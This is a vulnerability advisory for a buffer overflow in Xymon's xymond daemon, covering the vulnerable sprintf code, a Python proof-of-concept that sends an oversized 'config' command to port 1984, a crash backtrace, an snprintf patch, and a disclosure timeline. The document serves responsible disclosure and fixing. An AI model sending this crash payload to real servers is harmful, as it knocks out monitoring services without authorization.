Software
Xymon http://xymon.sourceforge.net/
Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x
Buffer overflow in xymond handling of “config” command
The xymond daemon performs an unchecked copying of a user-supplied filename to a fixed-size buffer when handling a “config” command. This may be used to trigger a buffer overflow in xymond, possibly resulting in remote code execution and/or denial of service of the Xymon monitoring system. This code will run with the privileges of the xymon userid.
This bug may be triggered by anyone with network access to the xymond service on port 1984, unless access has been restricted with the “–status-senders” option (a non-default configuration).
Technical Background
An untrusted input (fn) is copied into a fixed size buffer of length PATH_MAX without checking length requirements in xymond/xymond.c
int get_config(char *fn, conn_t *msg)
{
char fullfn[PATH_MAX];
FILE *fd = NULL;
struct stat st;
strbuffer_t *inbuf, *result;
dbgprintf("-> get_config %s\n", fn);
sprintf(fullfn, "%s/etc/%s", xgetenv("XYMONHOME"), fn);
The following POC was used to crash the Xymon daemon:
#!/usr/bin/env python
import socket
import sys
TCP_IP = str(sys.argv[1])
TCP_PORT = 1984
BUFFER_SIZE = 1024
MESSAGE = "config " + 'A' * 500000
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(MESSAGE)
print "Sent large payload..."
s.shutdown(1) # we will not send more data! This is needed for xymond to start processing the request
data = s.recv(BUFFER_SIZE)
s.close()
except socket.error:
print "Connection error"
As can be seen by the following log the stack canary has been overwritten:
*** buffer overflow detected ***: xymond terminated
======= Backtrace: =========
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0x6c6f3)[0xb73d76f3]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__fortify_fail+0x45)[0xb74652d5]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf838a)[0xb746338a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(+0xf7ae8)[0xb7462ae8]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(_IO_default_xsputn+0x8e)[0xb73db04e]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(_IO_vfprintf+0x224a)[0xb73b045a]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__vsprintf_chk+0xb4)[0xb7462ba4]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__sprintf_chk+0x2f)[0xb7462acf]
xymond[0x80519c8]
xymond[0x8054c83]
xymond[0x804b470]
/lib/i386-linux-gnu/i686/cmov/libc.so.6(__libc_start_main+0xf3)[0xb7384a63]
xymond[0x804c150]
Solution
Check length of user supplied string.
Index: xymond/xymond.c
===================================================================
--- xymond/xymond.c (revision 7852)
+++ xymond/xymond.c (working copy)
@@ -2767,7 +2767,7 @@
strbuffer_t *inbuf, *result;
dbgprintf("-> get_config %s\n", fn);
- sprintf(fullfn, "%s/etc/%s", xgetenv("XYMONHOME"), fn);
+ snprintf(fullfn, sizeof(fullfn), "%s/etc/%s", xgetenv("XYMONHOME"), fn);
fd = stackfopen(fullfn, "r", NULL);
if (fd == NULL) {
errprintf("Config file %s not found\n", fn);
Time Line
2016-01-17 – Reported vulnerability to authors
2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.
Resources
https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/